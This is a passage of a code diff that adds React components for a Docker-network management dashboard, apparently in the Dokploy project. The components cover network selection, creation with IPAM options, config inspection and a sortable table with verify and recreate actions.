</CommandEmpty>
|
||||||
|
<CommandGroup>
|
||||||
|
{availableNetworks.map((n) => {
|
||||||
|
const isSelected = selected.includes(n.networkId);
|
||||||
|
return (
|
||||||
|
<CommandItem
|
||||||
|
key={n.networkId}
|
||||||
|
value={n.name}
|
||||||
|
onSelect={() => toggle(n.networkId)}
|
||||||
|
className="cursor-pointer"
|
||||||
|
>
|
||||||
|
<Checkbox
|
||||||
|
checked={isSelected}
|
||||||
|
className="mr-2"
|
||||||
|
onCheckedChange={() => toggle(n.networkId)}
|
||||||
|
/>
|
||||||
|
<span>{n.name}</span>
|
||||||
|
<Badge variant="outline" className="ml-2">
|
||||||
|
{n.driver}
|
||||||
|
</Badge>
|
||||||
|
<Check
|
||||||
|
className={cn(
|
||||||
|
"ml-auto size-4",
|
||||||
|
isSelected ? "opacity-100" : "opacity-0",
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</CommandItem>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</CommandGroup>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CommandList>
|
||||||
|
</Command>
|
||||||
|
</PopoverContent>
|
||||||
|
</Popover>
|
||||||
|
|
||||||
|
{selectedNetworks.length > 0 && (
|
||||||
|
<div className="flex flex-wrap gap-1.5">
|
||||||
|
{selectedNetworks.map((n) => (
|
||||||
|
<Badge
|
||||||
|
key={n.networkId}
|
||||||
|
variant="secondary"
|
||||||
|
className="flex items-center gap-1 pr-1"
|
||||||
|
>
|
||||||
|
{n.name}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => toggle(n.networkId)}
|
||||||
|
className="ml-0.5 rounded-full outline-hidden hover:opacity-70"
|
||||||
|
>
|
||||||
|
<X className="size-3" />
|
||||||
|
<span className="sr-only">Remove {n.name}</span>
|
||||||
|
</button>
|
||||||
|
</Badge>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="flex justify-end">
|
||||||
|
<Button disabled={!isDirty} isLoading={isUpdating} onClick={onSave}>
|
||||||
|
Save
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Maps a service type to its one-query and update-mutation, normalizing the
|
||||||
|
// per-type id field name and the networkIds field.
|
||||||
|
const useServiceNetworks = (id: string, type: ServiceType) => {
|
||||||
|
const application = api.application.one.useQuery(
|
||||||
|
{ applicationId: id },
|
||||||
|
{ enabled: type === "application" },
|
||||||
|
);
|
||||||
|
const postgres = api.postgres.one.useQuery(
|
||||||
|
{ postgresId: id },
|
||||||
|
{ enabled: type === "postgres" },
|
||||||
|
);
|
||||||
|
const mysql = api.mysql.one.useQuery(
|
||||||
|
{ mysqlId: id },
|
||||||
|
{ enabled: type === "mysql" },
|
||||||
|
);
|
||||||
|
const mariadb = api.mariadb.one.useQuery(
|
||||||
|
{ mariadbId: id },
|
||||||
|
{ enabled: type === "mariadb" },
|
||||||
|
);
|
||||||
|
const mongo = api.mongo.one.useQuery(
|
||||||
|
{ mongoId: id },
|
||||||
|
{ enabled: type === "mongo" },
|
||||||
|
);
|
||||||
|
const redis = api.redis.one.useQuery(
|
||||||
|
{ redisId: id },
|
||||||
|
{ enabled: type === "redis" },
|
||||||
|
);
|
||||||
|
const libsql = api.libsql.one.useQuery(
|
||||||
|
{ libsqlId: id },
|
||||||
|
{ enabled: type === "libsql" },
|
||||||
|
);
|
||||||
|
const applicationUpdate = api.application.update.useMutation();
|
||||||
|
const postgresUpdate = api.postgres.update.useMutation();
|
||||||
|
const mysqlUpdate = api.mysql.update.useMutation();
|
||||||
|
const mariadbUpdate = api.mariadb.update.useMutation();
|
||||||
|
const mongoUpdate = api.mongo.update.useMutation();
|
||||||
|
const redisUpdate = api.redis.update.useMutation();
|
||||||
|
const libsqlUpdate = api.libsql.update.useMutation();
|
||||||
|
|
||||||
|
const map = {
|
||||||
|
application: {
|
||||||
|
query: application,
|
||||||
|
mutation: applicationUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
applicationUpdate.mutateAsync({ applicationId: id, ...payload }),
|
||||||
|
},
|
||||||
|
postgres: {
|
||||||
|
query: postgres,
|
||||||
|
mutation: postgresUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
postgresUpdate.mutateAsync({ postgresId: id, ...payload }),
|
||||||
|
},
|
||||||
|
mysql: {
|
||||||
|
query: mysql,
|
||||||
|
mutation: mysqlUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }),
|
||||||
|
},
|
||||||
|
mariadb: {
|
||||||
|
query: mariadb,
|
||||||
|
mutation: mariadbUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }),
|
||||||
|
},
|
||||||
|
mongo: {
|
||||||
|
query: mongo,
|
||||||
|
mutation: mongoUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
mongoUpdate.mutateAsync({ mongoId: id, ...payload }),
|
||||||
|
},
|
||||||
|
redis: {
|
||||||
|
query: redis,
|
||||||
|
mutation: redisUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
redisUpdate.mutateAsync({ redisId: id, ...payload }),
|
||||||
|
},
|
||||||
|
libsql: {
|
||||||
|
query: libsql,
|
||||||
|
mutation: libsqlUpdate,
|
||||||
|
save: (payload: SavePayload) =>
|
||||||
|
libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }),
|
||||||
|
},
|
||||||
|
}[type];
|
||||||
|
|
||||||
|
const service = map.query.data;
|
||||||
|
|
||||||
|
return {
|
||||||
|
service,
|
||||||
|
serverId: service?.serverId ?? null,
|
||||||
|
networkIds: service?.networkIds ?? [],
|
||||||
|
detachDokployNetwork: service?.detachDokployNetwork ?? false,
|
||||||
|
updateAsync: map.save,
|
||||||
|
isUpdating: map.mutation.isPending,
|
||||||
|
refetch: map.query.refetch,
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
type SavePayload = {
|
||||||
|
networkIds: string[];
|
||||||
|
detachDokployNetwork: boolean;
|
||||||
|
};
|
||||||
373
apps/dokploy/components/dashboard/networks/handle-network.tsx
Normal file
373
apps/dokploy/components/dashboard/networks/handle-network.tsx
Normal file
@@ -0,0 +1,373 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||||
|
import { Network, Plus, Trash2 } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { useFieldArray, useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { z } from "zod";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import {
|
||||||
|
Form,
|
||||||
|
FormControl,
|
||||||
|
FormDescription,
|
||||||
|
FormField,
|
||||||
|
FormItem,
|
||||||
|
FormLabel,
|
||||||
|
FormMessage,
|
||||||
|
} from "@/components/ui/form";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
// Only bridge and overlay can be created: "host"/"none" are Docker
|
||||||
|
// singletons and macvlan/ipvlan need driver options we don't expose.
|
||||||
|
const networkDriverEnum = ["bridge", "overlay"] as const;
|
||||||
|
|
||||||
|
const ipamConfigEntrySchema = z.object({
|
||||||
|
subnet: z.string().optional(),
|
||||||
|
ipRange: z.string().optional(),
|
||||||
|
gateway: z.string().optional(),
|
||||||
|
});
|
||||||
|
|
||||||
|
const networkFormSchema = z
|
||||||
|
.object({
|
||||||
|
name: z.string().min(1, "Name is required"),
|
||||||
|
driver: z.enum(networkDriverEnum),
|
||||||
|
internal: z.boolean(),
|
||||||
|
attachable: z.boolean(),
|
||||||
|
enableIPv4: z.boolean(),
|
||||||
|
enableIPv6: z.boolean(),
|
||||||
|
ipamDriver: z.string().optional(),
|
||||||
|
ipamConfig: z.array(ipamConfigEntrySchema),
|
||||||
|
})
|
||||||
|
.superRefine((input, ctx) => {
|
||||||
|
if (!input.enableIPv4 && !input.enableIPv6) {
|
||||||
|
ctx.addIssue({
|
||||||
|
code: z.ZodIssueCode.custom,
|
||||||
|
path: ["enableIPv4"],
|
||||||
|
message: "IPv4 or IPv6 must be enabled",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
for (const [index, entry] of input.ipamConfig.entries()) {
|
||||||
|
if (!entry.subnet && (entry.gateway || entry.ipRange)) {
|
||||||
|
ctx.addIssue({
|
||||||
|
code: z.ZodIssueCode.custom,
|
||||||
|
path: ["ipamConfig", index, "subnet"],
|
||||||
|
message: "Gateway and IP range require a subnet",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
type NetworkFormValues = z.infer<typeof networkFormSchema>;
|
||||||
|
|
||||||
|
const defaultValues: NetworkFormValues = {
|
||||||
|
name: "",
|
||||||
|
driver: "bridge",
|
||||||
|
internal: false,
|
||||||
|
attachable: false,
|
||||||
|
enableIPv4: true,
|
||||||
|
enableIPv6: false,
|
||||||
|
ipamDriver: "",
|
||||||
|
ipamConfig: [],
|
||||||
|
};
|
||||||
|
|
||||||
|
const toggleOptions = [
|
||||||
|
{
|
||||||
|
name: "internal",
|
||||||
|
label: "Internal",
|
||||||
|
description: "Containers on this network cannot reach external networks.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "attachable",
|
||||||
|
label: "Attachable",
|
||||||
|
description:
|
||||||
|
"Allow standalone containers to attach (overlay networks only).",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "enableIPv4",
|
||||||
|
label: "Enable IPv4",
|
||||||
|
description: "Enable IPv4 addressing on the network.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "enableIPv6",
|
||||||
|
label: "Enable IPv6",
|
||||||
|
description: "Enable IPv6 addressing on the network.",
|
||||||
|
},
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
interface HandleNetworkProps {
|
||||||
|
/** Target server; undefined creates on the local Dokploy server */
|
||||||
|
serverId?: string;
|
||||||
|
children?: React.ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Docker networks are immutable, so this dialog only creates them;
|
||||||
|
// changing a network means deleting and recreating it.
|
||||||
|
export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
|
||||||
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
|
const utils = api.useUtils();
|
||||||
|
|
||||||
|
const { mutateAsync, isPending } = api.network.create.useMutation();
|
||||||
|
|
||||||
|
const form = useForm<NetworkFormValues>({
|
||||||
|
resolver: zodResolver(networkFormSchema),
|
||||||
|
defaultValues,
|
||||||
|
});
|
||||||
|
|
||||||
|
const ipamConfigFieldArray = useFieldArray({
|
||||||
|
control: form.control,
|
||||||
|
name: "ipamConfig",
|
||||||
|
});
|
||||||
|
|
||||||
|
const onSubmit = async (data: NetworkFormValues) => {
|
||||||
|
try {
|
||||||
|
await mutateAsync({
|
||||||
|
name: data.name,
|
||||||
|
driver: data.driver,
|
||||||
|
serverId,
|
||||||
|
internal: data.internal,
|
||||||
|
attachable: data.attachable,
|
||||||
|
enableIPv4: data.enableIPv4,
|
||||||
|
enableIPv6: data.enableIPv6,
|
||||||
|
ipam: {
|
||||||
|
driver: data.ipamDriver || undefined,
|
||||||
|
config: data.ipamConfig,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
toast.success("Network created");
|
||||||
|
await utils.network.all.invalidate();
|
||||||
|
setIsOpen(false);
|
||||||
|
form.reset(defaultValues);
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error creating network", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const trigger = children ?? (
|
||||||
|
<Button>
|
||||||
|
<Plus className=" size-4" />
|
||||||
|
Add network
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
|
<DialogTrigger asChild>{trigger}</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle className="flex items-center gap-2">
|
||||||
|
<Network className="size-5 text-muted-foreground" />
|
||||||
|
Add network
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Create a new Docker network for your organization. Networks are
|
||||||
|
immutable: to change one, delete it and create it again.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
<Form {...form}>
|
||||||
|
<form
|
||||||
|
onSubmit={form.handleSubmit(onSubmit)}
|
||||||
|
className="flex w-full flex-col gap-6"
|
||||||
|
>
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="name"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Name</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input placeholder="my-network" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="driver"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Driver</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue placeholder="Select driver" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{networkDriverEnum.map((d) => (
|
||||||
|
<SelectItem key={d} value={d}>
|
||||||
|
{d}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<FormDescription className="text-muted-foreground">
|
||||||
|
bridge for single-server containers; overlay for Swarm
|
||||||
|
services.
|
||||||
|
</FormDescription>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||||
|
{toggleOptions.map((option) => (
|
||||||
|
<FormField
|
||||||
|
key={option.name}
|
||||||
|
control={form.control}
|
||||||
|
name={option.name}
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
|
||||||
|
<div className="space-y-1 pr-1">
|
||||||
|
<FormLabel>{option.label}</FormLabel>
|
||||||
|
<FormDescription className="text-muted-foreground">
|
||||||
|
{option.description}
|
||||||
|
</FormDescription>
|
||||||
|
</div>
|
||||||
|
<FormControl>
|
||||||
|
<Switch
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<div className="space-y-4 rounded-lg border p-4">
|
||||||
|
<div className="space-y-1">
|
||||||
|
<FormLabel>IPAM</FormLabel>
|
||||||
|
<p className="text-sm text-muted-foreground">
|
||||||
|
IP address management settings for this network.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="ipamDriver"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel className="text-muted-foreground">
|
||||||
|
Driver (optional)
|
||||||
|
</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input {...field} placeholder="default" />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<div className="space-y-2">
|
||||||
|
<FormLabel className="text-muted-foreground">
|
||||||
|
Config (subnet / gateway / IP range)
|
||||||
|
</FormLabel>
|
||||||
|
{ipamConfigFieldArray.fields.map((field, index) => (
|
||||||
|
<div key={field.id} className="flex flex-wrap gap-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name={`ipamConfig.${index}.subnet`}
|
||||||
|
render={({ field: f }) => (
|
||||||
|
<FormItem className="min-w-[140px] flex-1">
|
||||||
|
<FormControl>
|
||||||
|
<Input
|
||||||
|
{...f}
|
||||||
|
placeholder="Subnet (e.g. 172.20.0.0/16)"
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name={`ipamConfig.${index}.ipRange`}
|
||||||
|
render={({ field: f }) => (
|
||||||
|
<FormItem className="min-w-[120px] flex-1">
|
||||||
|
<FormControl>
|
||||||
|
<Input {...f} placeholder="IP range" />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name={`ipamConfig.${index}.gateway`}
|
||||||
|
render={({ field: f }) => (
|
||||||
|
<FormItem className="min-w-[120px] flex-1">
|
||||||
|
<FormControl>
|
||||||
|
<Input {...f} placeholder="Gateway" />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
size="icon"
|
||||||
|
aria-label="Remove IPAM config"
|
||||||
|
onClick={() => ipamConfigFieldArray.remove(index)}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4" />
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() =>
|
||||||
|
ipamConfigFieldArray.append({
|
||||||
|
subnet: "",
|
||||||
|
ipRange: "",
|
||||||
|
gateway: "",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<Plus className="size-4" />
|
||||||
|
Add IPAM config
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<DialogFooter>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
onClick={() => setIsOpen(false)}
|
||||||
|
>
|
||||||
|
Cancel
|
||||||
|
</Button>
|
||||||
|
<Button type="submit" isLoading={isPending}>
|
||||||
|
Create network
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import { Eye, Loader2 } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
networkId: string;
|
||||||
|
networkName: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const { data, isLoading, error } = api.network.inspect.useQuery(
|
||||||
|
{ networkId },
|
||||||
|
{ enabled: open },
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={setOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="ghost" size="icon-sm" aria-label="View network config">
|
||||||
|
<Eye className="size-4" />
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>Network Config</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
docker network inspect output for "{networkName}"
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{error ? (
|
||||||
|
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||||
|
) : isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||||
|
<code>
|
||||||
|
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||||
|
<CodeEditor
|
||||||
|
language="json"
|
||||||
|
lineWrapping
|
||||||
|
lineNumbers={false}
|
||||||
|
readOnly
|
||||||
|
value={JSON.stringify(data, null, 2)}
|
||||||
|
/>
|
||||||
|
</pre>
|
||||||
|
</code>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
494
apps/dokploy/components/dashboard/networks/show-networks.tsx
Normal file
494
apps/dokploy/components/dashboard/networks/show-networks.tsx
Normal file
@@ -0,0 +1,494 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import type { inferRouterOutputs } from "@trpc/server";
|
||||||
|
import {
|
||||||
|
ArrowUpDown,
|
||||||
|
Loader2,
|
||||||
|
Network,
|
||||||
|
RotateCcw,
|
||||||
|
ShieldCheck,
|
||||||
|
Trash2,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
|
||||||
|
import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
|
||||||
|
import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardAction,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import type { AppRouter } from "@/server/api/root";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
/** Selected server; undefined shows the local Dokploy server */
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const getIpamEntries = (row: NetworkRow) =>
|
||||||
|
(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-4" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
export const ShowNetworks = ({ serverId }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [verified, setVerified] = useState(false);
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "createdAt", desc: true },
|
||||||
|
]);
|
||||||
|
const [globalFilter, setGlobalFilter] = useState("");
|
||||||
|
const [driverFilter, setDriverFilter] = useState<string>("all");
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 10,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
|
||||||
|
const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
|
||||||
|
const recreateMutation = api.network.recreate.useMutation();
|
||||||
|
|
||||||
|
// Same query the Sync dialog uses; "missing" tells us which records
|
||||||
|
// no longer have a real network in Docker
|
||||||
|
const {
|
||||||
|
data: syncStatus,
|
||||||
|
isFetching: isVerifying,
|
||||||
|
refetch: refetchVerify,
|
||||||
|
} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
|
||||||
|
|
||||||
|
const missingIds = useMemo(
|
||||||
|
() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
|
||||||
|
[syncStatus],
|
||||||
|
);
|
||||||
|
|
||||||
|
const onVerify = async () => {
|
||||||
|
setVerified(true);
|
||||||
|
const { data: result, error } = await refetchVerify();
|
||||||
|
if (error) {
|
||||||
|
toast.error("Error verifying networks", {
|
||||||
|
description: error.message,
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!result) return;
|
||||||
|
if (result.missing.length === 0) {
|
||||||
|
toast.success("All networks exist in Docker");
|
||||||
|
} else {
|
||||||
|
toast.warning(
|
||||||
|
`${result.missing.length} network(s) no longer exist in Docker`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const filteredData = useMemo(() => {
|
||||||
|
let list = networks ?? [];
|
||||||
|
if (driverFilter !== "all") {
|
||||||
|
list = list.filter((n) => n.driver === driverFilter);
|
||||||
|
}
|
||||||
|
if (globalFilter.trim()) {
|
||||||
|
const query = globalFilter.toLowerCase();
|
||||||
|
list = list.filter(
|
||||||
|
(n) =>
|
||||||
|
n.name.toLowerCase().includes(query) ||
|
||||||
|
(n.ipam?.config ?? []).some(
|
||||||
|
(c) =>
|
||||||
|
c.subnet?.toLowerCase().includes(query) ||
|
||||||
|
c.gateway?.toLowerCase().includes(query) ||
|
||||||
|
c.ipRange?.toLowerCase().includes(query),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}, [networks, driverFilter, globalFilter]);
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<NetworkRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
accessorKey: "name",
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="Name" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center gap-2 font-medium">
|
||||||
|
{row.original.name}
|
||||||
|
{verified &&
|
||||||
|
syncStatus &&
|
||||||
|
(missingIds.has(row.original.networkId) ? (
|
||||||
|
<>
|
||||||
|
<Badge variant="red">Missing in Docker</Badge>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="xs"
|
||||||
|
isLoading={recreateMutation.isPending}
|
||||||
|
onClick={async () => {
|
||||||
|
try {
|
||||||
|
await recreateMutation.mutateAsync({
|
||||||
|
networkId: row.original.networkId,
|
||||||
|
});
|
||||||
|
toast.success(
|
||||||
|
`Network "${row.original.name}" recreated in Docker`,
|
||||||
|
);
|
||||||
|
await utils.network.networksToSync.invalidate();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error recreating network", {
|
||||||
|
description:
|
||||||
|
error instanceof Error
|
||||||
|
? error.message
|
||||||
|
: "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<RotateCcw className="size-3.5" />
|
||||||
|
